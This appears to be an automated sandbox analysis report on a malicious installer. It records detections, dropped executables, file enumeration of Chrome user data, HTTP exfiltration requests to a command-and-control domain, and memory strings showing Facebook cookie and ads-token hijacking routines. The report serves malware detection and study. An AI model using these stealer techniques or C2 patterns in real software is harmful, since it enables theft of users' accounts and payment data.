Analysis Report FileSetup-v17.04.41.exe

AV Detection:

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: FileSetup-v17.04.41.exe	Virustotal: Detection: 60%			Perma Link
Source: FileSetup-v17.04.41.exe	ReversingLabs: Detection: 47%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FileSetup-v17.04.41.exe

Joe Sandbox ML: detected

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,

4_2_1001F720

Public key (encryption) found

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: -----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLfprfltmOHTzR+m/YBEdzgxnHwXgNPal/ctcPxx2L3by8pqL9tpgSgEYEeIp+DMIOFvh0gY6/gt7hqXrairRK8XHrlfJJxucOxb54FThG8Apu+IsnhM3AKABV2b3P5PeloDtfi8E0TdADPHr0kgcvS7YUOm7Z/hoSXkJsrwXBOQIDAQAB-----END PUBL		1_2_00412872
Source: FileSetup-v17.04.41.exe	Binary or memory string: -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLfprfltmOHTzR+m/YBEdzgxnH wXgNPal/ctcPxx2L3by8pqL9tpgSgEYEeIp+DMIOFvh0gY6/gt7hqXrairRK8XHr lfJJxucOxb54FThG8Apu+IsnhM3AKABV2b3P5PeloDtfi8E0TdADPHr0kgcvS7YU Om7Z/hoSXkJsrwXBOQIDAQAB -----END PUBL

Compliance:

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Unpacked PE file: 5.2.6852B33702F6B3BD.exe.2810000.5.unpack

Uses 32bit PE files

Source: FileSetup-v17.04.41.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Uses new MSVCR Dlls

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

File opened: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdb source: MiniThunderPlatform.exe.4.dr
Source:	Binary string: c:\Projects\VS2005\EdgeCookiesView\Release\EdgeCookiesView.pdb source: 1611946678493.exe, 0000000B.00000000.271662434.000000000040F000.00000002.00020000.sdmp, 1611946678493.exe.4.dr
Source:	Binary string: msvcr71.pdb\ source: msvcr71.dll.4.dr
Source:	Binary string: atl71.pdbT source: atl71.dll.4.dr
Source:	Binary string: atl71.pdb source: atl71.dll.4.dr
Source:	Binary string: cmd_insert_server.icex-conference/x-cooltalk.movievideo/x-sgi-movievideo/x-msvideo.mxuvideo/vnd.mpegurl.qtvideo/quicktimevideo/mpeg.xmltext/xml.etxtext/x-setext.wmlstext/vnd.wap.wmlscript.wmltext/vnd.wap.wml.tsvtext/tab-separated-values.sgmtext/sgml.rtftext/rtf.rtxtext/richtext.txttext/plain.html.csstext/css.mshmodel/mesh.igsmodel/iges.xwdimage/x-xwindowdump.xpmimage/x-xpixmap.xbmimage/x-xbitmap.rgbimage/x-rgb.ppmimage/x-portable-pixmap.bgmimage/x-portable-graymap.pbmimage/x-portable-bitmap.pnmimage/x-portable-anymap.rasimage/x-cmu-raster.wbmpimage/vnd.wap.wbmp.djvimage/vnd.djvu.tiffimage/tiff.pngimage/png.jpgimage/jpeg.iefimage/ief.gifimage/gif.bmpimage/bmp.xyzchemical/x-xyz.pdbchemical/x-pdb.wavaudio/x-wavaudio/x-realaudio.arpmaudio/x-pn-realaudio-pluginaudio/x-pn-realaudio.m3uaudio/x-mpegurl.aifaudio/x-aiffaudio/mpeg.midiaudio/midiapplication/application/zip.xhtmlapplication/xhtml+xml.srcapplication/x-wais-source.ustarapplication/x-ustar.msapplication/x-troff-ms.meapplication/x-troff-me.manapplication/x-troff-man.texiapplication/x-texinfo.texapplication/x-tex.tclapplication/x-tclapplication/x-tar.sv4crcapplication/x-sv4crc.sv4cpioapplication/x-sv4cpio.sitapplication/x-stuffit.swfapplication/x-shockwave-flash.sharapplication/x-shar.shapplication/x-sh.latexapplication/x-latex.jsapplication/x-javascript.hdfapplication/x-hdf.gtarapplication/x-gtar.splapplication/x-futuresplash.dviapplication/x-dvi.cshapplication/x-csh.cpioapplication/x-cpio.pgnapplication/x-chess-pgn.vcdapplication/x-cdlink.bcpioapplication/x-bcpio.wmlscapplication/vnd.wap.wmlscriptc.wmlcapplication/vnd.wap.wmlc.wbxmlapplication/vnd.wap.wbxml.pptapplication/vnd.ms-powerpoint.xlsapplication/vnd.ms-excel.mifapplication/vnd.mif.smiapplication/smil.pdfapplication/pdf.odaapplication/oda.docapplication/msword.cptapplication/mac-compactpro.hqxapplication/mac-binhex40.ezapplication/andrew-inset source: download_engine.dll.4.dr
Source:	Binary string: d:\MiniDownloadLib\branches\bin\Product Release\download_engine.pdb source: download_engine.dll.4.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdbpJ source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdbt source: MiniThunderPlatform.exe.4.dr
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\xldl.pdb source: xldl.dll.4.dr
Source:	Binary string: msvcp71.pdb source: msvcp71.dll.4.dr
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb0 source: dl_peer_id.dll.4.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdb source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp
Source:	Binary string: d:\workspace\xlframework\win32_component\ThunderFW\Release\ThunderFW.pdb source: ThunderFW.exe, 0000001D.00000000.367402647.0000000000BFC000.00000002.00020000.sdmp, ThunderFW.exe.4.dr
Source:	Binary string: f:\sys\objfre_win7_amd64\amd64\FsFilter64.pdb source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb source: dl_peer_id.dll.4.dr
Source:	Binary string: e:\KINGSOFT_DUBA\Build\Build_Src\kisengine\kisengine\product\win32\dbginfo\kinst_exe.pdb source: FileSetup-v17.04.41.exe
Source:	Binary string: msvcr71.pdb source: msvcr71.dll.4.dr
Source:	Binary string: d:\BranchAI\launcher\Release\fileLauncher.pdb source: gdiview.msi.1.dr

Spreading:

Checks for available system drives (often done to infect USB drives)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: z:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: x:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: v:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: t:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: r:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: p:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: n:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: l:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: j:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: h:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: f:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: b:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: y:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: w:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: u:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: s:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: q:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: o:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: m:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: k:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: i:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: g:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: e:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: c:			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: a:			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004C2B17 __getdrive,FindFirstFileA,_strlen,_IsRootUNCName,GetDriveTypeA,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,___dtoxmode,GetLastError,FindClose,		1_2_004C2B17
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1001A170 FindFirstFileA,FindClose,		4_2_1001A170

Contains functionality to query local drives

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_0041E22C GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

1_2_0041E22C

Enumerates the file system

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\			Jump to behavior

Networking:

Uses ping.exe to check the status of other devices and networks

Source: unknown

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /info_old/ddd HTTP/1.1Host: 84CFBA021A5A6662.xyzAccept: */*

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: POST //fine/send HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 84Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36upgrade-insecure-requests: 1Content-Length: 93Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 677Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/g HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 1405Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: GET /info_old/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Host: 84cfba021a5a6662.xyz
Source: global traffic	HTTP traffic detected: POST /info_old/w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Content-Length: 81Host: 84cfba021a5a6662.xyz

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /info_old/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36upgrade-insecure-requests: 1Host: 84cfba021a5a6662.xyz

Source: global traffic

HTTP traffic detected: GET /info_old/ddd HTTP/1.1Host: 84CFBA021A5A6662.xyzAccept: */*

Found strings which match to known social media urls

Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: "name":"fb_dtsg","value":"name="fb_dtsg" value="Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: nonehttps://www.facebook.com/""2%d0https://graph.facebook.com/me/friends?access_token=%s&pretty=1&limit=1summarytotal_count{}summarytotal_count%dquery_friends.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: count = %d equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: -3https://www.facebook.com/payments/settings/payment_methods/index.php?__a=1errorSummaryconfirmemail.phpcard_type_name-110query_payment2.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: ret = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe	String found in binary or memory: _time":"13245951499607797","lastpingday":"13245947458072931","location":1,"manifest":{"app":{"launch":{"container":"tab","web_url":"http://www.youtube.com"},"web_content":{"enabled":true,"origin":"http://www.youtube.com"}},"current_locale":"en","default_locale equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: same-originreferer: https://www.messenger.com/origin: https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie: c_user=ookie: xs=ookie: ;%[^;]; https://m.facebook.com/settings/email/<span class="_52ji _8uk3">accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1</span></span>@&#064;@&#064;https://m.facebook.com/settings/sms/<strong><span dir="ltr">accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1</span></span>+ https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_point"dtsg":{"token":"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9sec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: noneupgrade-insecure-requests: 1"https://m.facebook.com/pages/create/edit_name/"draftID":Accept: */*Origin: https://m.facebook.comReferer: https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_pointSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Requested-With: XMLHttpRequestX-Response-Format: JSONStreampage_name=&m_sess=&fb_dtsg=&jazoest=&__csr=&__req=3&__user=,"https://m.facebook.com/pages/creation_flow/?step=category&draft_id=&cat_ref_page_id=0&extra_data=%7B%22page_name%22%3A%22%22%7D"dtsg":{"token":"accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://m.facebook.com/pages/creation_flow/?step=name&cat_ref_page_id=0&ref_type=launch_pointsec-fetch-dest: documentsec-fetch-mode: navigatesec-fetch-site: same-originSec-Fetch-User: ?1upgrade-insecure-requests: 1"https://m.facebook.com/pages/create/edit_category/"pageID":Referer: https://m.facebook.com/pages/creation_flow/?step=category&draft_id=&cat_ref_page_id=0&extra_data=%7B%22page_name%22%3A%22%22%7DAccept: */*Origin: https://m.facebook.comSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originX-Response-Format: JSONStreamX-Requested-With: XMLHttpRequestpage_category=1300&draft_id=&m_sess=&fb_dtsg=&jazoest=&__csr=&__req=9&__user=}"+ .-_@@friends2page.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: pageid = %s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: bad allocationSOFTWARE\Mozilla\Mozilla FirefoxCurrentVersion\\MainInstall Directory%s\firefox.exe{}[]"1""2""3"123bad allocationc_user=xs=https://www.facebook.com/adsmanager/manage/adshttps://business.facebook.com/adsmanager/manage/adssettings/?act=&access_token:""access_token":""query_token_account_id.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: c_user=xs=https://www.facebook.com/ads/manager/account_settingsaccountID:"access_token:"Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: none""query_token_account_id_laomaozi.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: c_user=xs=https://www.facebook.com/adsmanager/manage/adshttps://business.facebook.com/adsmanager/manage/adswindow.location.replace("")/act___accessToken="Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: nonehttps:act=/\/"%[0-9]query_token_account_id2.\task_cookie\facebook_agreement.cpp[HIJACK][%s][%s][%d]: account_id = %s token =%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe	String found in binary or memory: http://www.youtube.com equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: http://www.youtube.com//a equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: http://www.youtube.comz/ equals www.youtube.com (Youtube)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/"name="fb_dtsg" value=""logout_hash":"""logout_hash":"logoutToken:""logoutToken:"https://www.facebook.com/comet/try/source=SETTINGS_MENU&nctr[_mod]=pagelet_bluebar&__user=&__a=1&__csr=&__req=14&__beoa=0&__pc=PHASED%3ADEFAULT&dpr=1&__ccg=EXCELLENT&fb_dtsg=&jazoest=for (;;);{https://m.facebook.com/logout.php?h=%s&t=%sc_user=deleted"encrypted":"https://m.facebook.com/?_rdr""name="fb_dtsg" value="logout.phpm_sess=&fb_dtsg=&jazoest=&__csr=&__req=9&__a=&__user=https://m.facebook.com/bookmarks/flyout/body/?id=u_0_6\https://m.facebook.com/logout.php%sc_user=deletedhttps://m.facebook.com/?soft=bookmarks"logoutURL":"\"logout.phphttps://m.facebook.com&source=mtouch_logout_button&persist_locale=1&button_name=logout&button_location=settings%s equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/ads/manager/account_settings equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/adsmanager/manage/ads equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/bookmarks/pages?ref_type=logout_gear equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/comet/try/ equals www.facebook.com (Facebook)
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.facebook.com/connect/ping?client_id=124024574287414&domain=www.instagram.com&origin=1&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F1e2RywyANNe.js%3Fversion%3D42%23cb%3Df19f2d8a0dd2f24%26domain%3Dwww.instagram.com%26origin%3Dhttps%253A%252F%252Fwww.instagram.com%252Ff2dc055ae1b1274%26relation%3Dparent&response_type=token%2Csigned_request%2Ccode&sdk=joey&version=v2.2 equals www.facebook.com (Facebook)
